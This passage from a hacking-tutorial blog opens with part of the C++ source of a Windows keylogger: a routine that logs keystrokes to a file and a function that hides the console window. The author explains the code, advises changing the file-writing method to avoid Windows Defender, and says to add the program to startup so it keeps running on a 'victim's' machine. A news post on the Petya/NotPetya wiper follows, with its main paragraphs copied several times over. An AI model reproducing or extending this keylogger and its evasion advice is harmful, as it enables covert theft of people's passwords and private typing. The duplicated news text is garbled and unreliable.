else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,SW_HIDE);
}

We will study three basic things in this piece of code:

1. The working of GetAsyncKeyState() function.
2. The working of user-defined Save() function.
3. The working of user-defined Stealth() function.

You cannot copy this piece of code from my site. Hence, I have given a direct download link for this piece of code. Click here to download the Keylogger Source File.

Understanding: 

GetAsyncKeyState function: It is a Windows API function available in C++. It determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState. If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. 

• GetAsyncKeyState function example:
  if(GetAsyncKeyState(VK_UP))
{
printf("The Up Arrow Has Been Pressed\n");
}

Save function:The save function takes in the ASCII value of keystroke pressed as an argument. It then compares the value with each keystroke individually. If the comparison expression returns TRUE, it stores the keystroke pressed in a file with the help of a character variable. (One can also use Switch-Case instead of if-else ladder.)

Stealth function: Here is simple explanation of it.

HWND stealth;

Declares a window handle.

AllocConsole();

Allocates a new console for the calling process.

stealth = FindWindowA("ConsoleWindowClass", NULL);

Find the window handle with class name "ConsoleWindowClass".

ShowWindow(stealth,SW_HIDE);

Hide it.

Pros/Cons

Rather than mentioning the pros and cons here, I would like to simply mention the things this keylogger cannot do. The very first thing is, when you run this keylogger file, it will be easily detected by the Windows Defender. This is because of the file writing method we choose in this program. To avoid this, you can use the ofstream write("Filename.txt", ios::app) method to open a file in write mode rather than using file pointer method i.e, FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"). Also, you need to change the function to write instead of fprintf. There is a small difference in its working but a master of C++ would find it easy.

Next thing this keylogger can't do is, it can't send you the log file via email. Its because, at the start of my article I mentioned Types of Keylogger. How you get the log file from victim's computer depends on the type of keylogger. And hence, it is not possible for me to code a keylogger each of one type. Still, one can add its code if you are a PRO coder!

The last thing you need to know is, you have to attach the executable file in startup. Else, everytime the victim restarts his/her laptop, this keylogger file will be removed from the main memory and hence it will stop functioning.

How to Stop the Keylogging activity

You might have thought that you know how to run this keylogger and record keystrokes. But ever thought how to stop it..! It is running in stealth mode i.e. it is not running in a window that you can close it simply by clicking on Close Button. The simplest way to stop this Keylogger is open the Task Manager and find the keylogger by is executable file name and end it process/task.

I hope you find this article interesting. Also I think you may be having several doubts related to this piece of code. Feel free to ask queries in the comment box and share this article with your friends and spread knowledge. Thank you..

Read More

The Newer Version of Petya is Not a Ransomware, It's a Destructive Data Wiper

Short Summary:

Till now, we were thinking of Petya being a Ransomware. But this new version is beyond the limits. A ransomware is generally a malware that encrypts your files and provides you a decryption key after you pay the ransom to attacker(s). But Petya works somewhat different. It encrypts the MBR and MFT in windows and replaces it with a malicious code. Also, it doesn't take a backup of encrypted data. Hence, even if you pay the ransom, you will not get you data back.

Now let us see the working of this malware in detail and the research work carried out on it. Also, many security researchers found that this malware was spread as a Ransomware because the attackers wanted to divert society from WannaCry to this malware. Let us see all these in detail.

Petya is not a Ransomware

Yes, the Petya ransomware attacks that began infecting computers in several countries, including Russia, Ukraine, France, India and the United States on Tuesday and demands $300 ransom was not designed with the intention of restoring the computers at all.

According to a new analysis, the virus was designed to look like ransomware but was wiper malware that wipes computers outright, destroying all records from the targeted systems.

Comae Technologies Founder Matt Suiche, who closely looked the operation of the malware, said after analyzing the virus, known as Petya, his team found that it was a "Wiper malware," not ransomware.

Security experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack on Ukraine to a malware outbreak.

"We believe the ransomware was, in fact, a lure to control the media narrative, especially after the WannaCry incident, to attract the attention on some mysterious hacker group rather than a national state attacker," Suiche writes.

Yes, the Petya ransomware attacks that began infecting computers in several countries, including Russia, Ukraine, France, India and the United States on Tuesday and demands $300 ransom was not designed with the intention of restoring the computers at all.

According to a new analysis, the virus was designed to look like ransomware but was wiper malware that wipes computers outright, destroying all records from the targeted systems. 

Comae Technologies Founder Matt Suiche, who closely looked the operation of the malware, said after analyzingthe virus, known as Petya, his team found that it was a "Wiper malware" not ransomware.

Security experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack on Ukraine to a  malware outbreak.

"We believe the ransomware was, in fact, a lure to control the media narrative, especially after the WannaCry incident, to attract the attention on some mysterious hacker group rather than a national state  attacker," Suiche writes

What's new in Petya! Is is Powerful?

Petya is a nasty piece of malware that, unlike other traditional ransomware, does not encrypt files on a targeted system one by one. Instead, Petya reboots victims computers and encrypts the hard drive's Master File Table (MFT) and renders the Master Boot Record (MBR) inoperable, restricting access to the full system by seizing information about file names, sizes, and location on the physical disk.

Then Petya ransomware takes an encrypted copy of MBR and replaces it with its own malicious code that displays a ransom note, leaving computers unable to boot. However, this new variant of Petya does not keep a copy of replaced MBR, mistakenly or purposely, leaving infected computers unbootable even if victims get the decryption keys.

Also, after infecting one machine, the Petya ransomware scans the local network and quickly infects all other machines (even fully-patched) on the same network, using EternalBlue SMB exploit, WMIC and PSEXEC tools.

Does Paying Ransom Get Your Files Back?

So far, nearly 45 victims have already paid total $10,500 in Bitcoins in hope to get their locked files back, but unfortunately, they would not. It's because the email address, which was being set-up by the attackers to communicate with victims and send decryption keys, was suspended by the German provider shortly after the outbreak. As the email address is suspended, there is no way of contact or communication. Meaning, even if victims do pay the ransom, they will never recover their files. Kaspersky researchers also said same.

"Our analysis indicates there is little hope for victims to recover their data. We have analyzed the high-level code of the encryption routine, and we have figured out that after disk encryption, the threat actor could not decrypt victims’ disks," the security firm said.

"To decrypt a victim’s disk threat actors need the installation ID. In previous versions of 'similar' ransomware like Petya/Mischa/GoldenEye this installation ID contained the information necessary for key recovery."

If claims made by the researcher is correct that the new variant of Petya is a destructive malware designed to shut down and disrupt services around the world, the malware has successfully done its job.

List of Countries affected by Petya till now..!

The virus primarily and massively targeted multiple entities in Ukraine, including the country's local metro, Kiev's Boryspil airport, electricity supplier, the central bank, and the state telecom.

Other countries infected by the Petya virus included:

• Russia
• France
• Spain
• India
• China
• The United States
• Brazil
• Chile
• Argentina
• Turkey
• And South Korea.

Finally, Petya proves to be very harmful Data Wiper malware and we should take measures to prevent this malware affecting our computers. Till now, the exact preventive measures are not know but one can try the steps taken when WannaCry was affected. Its because both malware uses SMB Windows exploit to spread across world. Hence, we can slow it down. Click here to read the preventive measures.

Support us with your views on this malware and any update if necessary. Comment you views and Stay Connected..!

Yes, the Petya ransomware attacks that began infecting computers in several countries, including Russia, Ukraine, France, India and the United States on Tuesday and demands $300 ransom was not designed with the intention of restoring the computers at all.

According to a new analysis, the virus was designed to look like ransomware but was wiper malware that wipes computers outright, destroying all records from the targeted systems.

Comae Technologies Founder Matt Suiche, who closely looked the operation of the malware, said after analyzing the virus, known as Petya, his team found that it was a "Wiper malware," not ransomware.

Security experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack on Ukraine to a malware outbreak.

"We believe the ransomware was, in fact, a lure to control the media narrative, especially after the WannaCry incident, to attract the attention on some mysterious hacker group rather than a national state attacker," Suiche writes.

Yes, the Petya ransomware attacks that began infecting computers in several countries, including Russia, Ukraine, France, India and the United States on Tuesday and demands $300 ransom was not designed with the intention of restoring the computers at all.

According to a new analysis, the virus was designed to look like ransomware but was wiper malware that wipes computers outright, destroying all records from the targeted systems.

Comae Technologies Founder Matt Suiche, who closely looked the operation of the malware, said after analyzing the virus, known as Petya, his team found that it was a "Wiper malware," not ransomware.

Security experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack on Ukraine to a malware outbreak.

"We believe the ransomware was, in fact, a lure to control the media narrative, especially after the WannaCry incident, to attract the attention on some mysterious hacker group rather than a national state attacker," Suiche writes.

Yes, the Petya ransomware attacks that began infecting computers in several countries, including Russia, Ukraine, France, India and the United States on Tuesday and demands $300 ransom was not designed with the intention of restoring the computers at all.

According to a new analysis, the virus was designed to look like ransomware but was wiper malware that wipes computers outright, destroying all records from the targeted systems.

Comae Technologies Founder Matt Suiche, who closely looked the operation of the malware, said after analyzing the virus, known as Petya, his team found that it was a "Wiper malware," not ransomware.

Security experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack on Ukraine to a malware outbreak.

"We believe the ransomware was, in fact, a lure to control the media narrative, especially after the WannaCry incident, to attract the attention on some mysterious hacker group rather than a national state attacker," Suiche writes.

Read More